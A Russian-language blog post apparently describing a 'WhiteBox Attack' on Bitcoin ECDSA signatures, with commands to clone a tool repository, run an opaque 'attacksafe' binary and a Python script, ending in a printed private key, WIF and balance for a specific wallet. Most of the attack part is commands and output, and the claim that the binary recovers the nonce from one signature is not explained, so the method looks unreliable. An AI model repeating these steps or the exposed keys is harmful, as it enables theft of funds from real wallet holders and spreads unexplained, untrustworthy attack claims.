{"id":14285,"url":"\/distributions\/14285\/click?bit=1&hash=346f3dd5dee2d88930b559bfe049bf63f032c3f6597a81b363a99361cc92d37d","title":"\u0421\u0442\u0438\u043f\u0435\u043d\u0434\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0442\u0440\u0430\u0442\u0438\u0442\u044c \u043d\u0430 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0443\u0442\u0435\u0448\u0435\u0441\u0442\u0432\u0438\u044f","buttonText":"","imageUuid":""}

Извлечение секретного ключа реализуем WhiteBox Attack on Bitcoin с дифференциальными ошибками по исследовательской схеме

В этой статье мы опять затронем тему неисправности подписи в транзакции блокчейна и применим совершенно новую атаку: “WhiteBox Attack on Bitcoin”.Дифференциальный анализ неисправностей сокращенно (DFA) был впервые описан в литературе в 1996 году, когда израильский криптограф и криптоаналитик Eli Biham и израильский учёный Adi Shamir показали, что они могут использовать внедрение ошибок для извлечение секретного ключа и восстановление приватного ключа, используя различные алгоритмы подписи и проверки верификации.

Мы реализуем “WhiteBox Attack on Bitcoin” с дифференциальными ошибками, описанные в этом исследовательском документе . Классический DFA, который мы описали в предыдущей статье называется F(). Для некоторых из этих атак также требуются две пары подписи ECDSA.

С теоретической частью данной атаки мы можем ознакомиться в статье из списка популярных Биткоин атак: “WhiteBox Attack on Bitcoin”

Из наших ранних публикации нам известно что в блокчейне Биткоина очень много уязвимых и слабых транзакциии и в процессе нашего криптоанализа мы нашли множество Биткоин Адресов, где большое количество подписи ECDSA были совершены с раскрытием секретного ключа "K" (NONCE).

В итоге зная секретный ключ мы с точностью можем получить приватный ключ к Биткоин Кошельку.

Рассмотрим три Биткоин Адреса:

Каждый Биткоин Адрес совершил по две критический уязвимые транзакции:

Откроем [TerminalGoogleColab].

Реализуем эффективный алгоритм WhiteBox Attack с помощью нашей репозитории 16WhiteBoxAttack

git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/16WhiteBoxAttack/ ls

Установим все нужные нам пакеты

requirements.txt
sudo apt install python2-minimal wget https://bootstrap.pypa.io/pip/2.7/get-pip.py sudo python2 get-pip.py pip2 install -r requirements.txt

Подготовим RawTX для атаки

RawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3 Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed

Чтобы реализовать атаку и получить секретный ключ мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

Права доступа:

chmod +x attacksafe

Применение:

./attacksafe -help
-version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode
./attacksafe -version
"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list
далее выберем -tool: whitebox_attack

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt

Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Deployments ECDSA: SecretKey = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d RawTX = 0100000001a60ae2965c16c0a72bb764ec4f6f0dc6acfd3af3f49a73c06ae48ddfe4a7b76b020000006a473044022015e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff0102202d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff019e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d

Сделаем проверку с помощью Python-скрипта point2gen.py

Для этого установим библиотеку эллиптических кривых ECPy:

pip3 install ECPy

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d
(0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3 Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed
R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 point2gen = (0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 , 0xacf1d32fbd69a79736bafc6af16135526852cd12e4c19158fb421266f0771e0f)

ВСЕ ВЕРНО!

K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY

Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ

Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n): return hex(n).replace("0x","") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0x5d4bc1aa9668f2286151499508869fd31e07f4a9e7dd09f5f6dc4634464dd58d R = 0x15e3f8b110a2baf09ddcce139644888bda303cd4d0a37c872e5faceb57abff01 S = 0x2d2ca770322bfad7a32ae2568869512f71b8c40a561a7109a54f2799953342e3 Z = 0x793c00bdb7c96e19cb2670f3aec5369558b64f0e12645af070d94c2fc06db6ed print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
PrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80

Откроем bitaddress и проверим:

ADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY WIF: Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx HEX: 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80

Приватный ключ найден!

BALANCE: $ 607.79

Потенциальная угроза потери монет BTC заключается в критической уязвимости транзакции блокчейна Биткоина, поэтому мы настоятельно рекомендуем всем всегда обновлять ПО и использовать только проверенные устройства.

При детальном криптоанализе мы также нашли критическую уязвимость и в TXID: 6c857473097543b32702c5f731a3e4c5cb01a1a5ae4bcd1a297b5848acbe8aba для этого же Биткоин Адреса

Подготовим RawTX для атаки

RawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Теперь нам нужно получить все значение R, S, Z из всех уязвимых транзакции

Воспользуемся скриптом breakECDSA.py

python2 breakECDSA.py 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000
R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562 Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c

Чтобы получить секретный ключ из уязвимой транзакции подписи ECDSA, добавим данные RawTX в текстовый документ и сохраним как файл RawTX.txt

010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Запустим -tool whitebox_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”

./attacksafe -tool whitebox_attack -open RawTX.txt -save SecretKey.txt

Мы запустили данную атаку из -tool whitebox_attack и результат сохранился в файл SecretKey.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretKey.txt

cat SecretKey.txt
Deployments ECDSA: SecretKey = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd RawTX = 010000000183635783312a2792b673755da31df935ec22ff9916b4b43b4cefed644cb55a910b0000006b483045022100af4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f2602200a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562012102ae4a7601c546fef42deb70516d41645dc58613689754936efdd4850e186d8320ffffffff014e020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Мы видим надпись "Deployments ECDSA" это означает критическую уязвимость транзакции блокчейна Биткоина

SecretKey значение в формате HEX, это и есть наш секретный ключ "K" (NONCE):

K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd

Сделаем проверку с помощью Python-скрипта point2gen.py

Воспользуемся библиотекой эллиптических кривых ECPy:

Теперь запустим скрипт указав секретный ключ "K" (NONCE):

python3 point2gen.py 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd
(0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)

Проверяем координаты точки EC (secp256k1) с значением сигнатуры R

R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562 Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c
R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 point2gen = (0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 , 0x61200da995a31b5be6f875decb954d0e3f8c54d16f7428827a2436cd2fce9419)

K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd

Теперь зная секретный ключ мы можем получить приватный ключ к Биткоин Кошельку: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY

Воспользуемся Python-скриптом: calculate.py > > > Получим Приватный Ключ

Откроем код и добавим все значение сигнатур K, R, S, Z

def h(n): return hex(n).replace("0x","") def extended_gcd(aa, bb): lastremainder, remainder = abs(aa), abs(bb) x, lastx, y, lasty = 0, 1, 1, 0 while remainder: lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder) x, lastx = lastx - quotient*x, x y, lasty = lasty - quotient*y, y return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1) def modinv(a, m): g, x, y = extended_gcd(a, m) if g != 1: raise ValueError return x % m N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 K = 0xf39222231d8ddbaa7425e3c3ff4ebdc86aff1a5449df5910eae18baeb8d5bddd R = 0xaf4133119bb32776d86b952d7c697f56cc0b12f7053eeb76de8e62d6c9e32f26 S = 0x0a9394acbcb515f16df5d2f94b970b3d9da0c91a7d372d62794f2234b40cd562 Z = 0xf3c7d4c7371a2c57be6b3eb6c446128a3a2cefdb593e6577750c95d22cd8309c print (h((((S * K) - Z) * modinv(R,N)) % N))

Скрипт рассчитает приватный ключ по формуле:

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

Запустим скрипт:

python3 calculate.py
PrivKey = 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80

Откроем bitaddress и проверим:

ADDR: 1A1DUHhe6ENKxj4Qebs5Xs63pfWwRQazsY WIF: Kx2mo3Efm5BaC45ozMVM4MPbcY6thbxVwgwXX8ByCuKRZeMmpATx HEX: 1835e9d98626da85463bb917cda047b080432863778e97e2d5ffae35d0aefd80

BALANCE: $ 607.79

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

0
Комментарии
-3 комментариев
Раскрывать всегда